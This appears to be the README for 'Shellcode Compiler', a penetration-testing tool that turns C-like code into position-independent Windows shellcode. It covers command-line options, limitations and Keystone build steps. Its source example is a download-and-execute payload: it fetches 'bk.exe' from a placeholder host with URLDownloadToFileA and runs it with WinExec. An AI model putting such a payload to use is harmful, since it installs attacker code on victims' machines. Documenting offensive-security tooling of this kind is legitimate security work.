Shellcode Compiler

Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way.

Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with NASM (http://www.nasm.us/).

Shellcode compiler was released at DefCamp security conference in Romania, November 2016.

Command line options

    -h (--help)      : Show this help message
    -v (--verbose)   : Print detailed output
    -t (--test)      : Test (execute) generated shellcode
    -r (--read)      : Read source code file
    -o (--output)    : Output file of the generated binary shellcode
    -a (--assembbly) : Output file of the generated assembly code

Source code example

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Invocation example

    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm

Limitations

1. It is not possible to use the return value of an API call
2. It is not possible to use pointers or buffers
3. It is not possible to declare variables

All these limitations will be fixed as soon as possible. However, many other limitations will exist. This is an Alpha version. Please report any bugs or suggestions.

Changelog

1. It uses now Keystone Engine to assemble the shellcode: http://www.keystone-engine.org/

Keystone compilation

1. Download Keystone Engine source code
2. Download, install and put in PATH cmake and python
3. Open Visual Studio Command Line (32 bits) and go to Keystone source directory
4. Edit nmake-lib.bat file and replace -DLLVM_TARGETS_TO_BUILD="all" with -DLLVM_TARGETS_TO_BUILD="X86"
5. Run mkdir build and cd build commands
6. Run ..\nmake-lib.bat command
7. Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\keystone.lib

Author

Ionut Popescu (@NytroRST)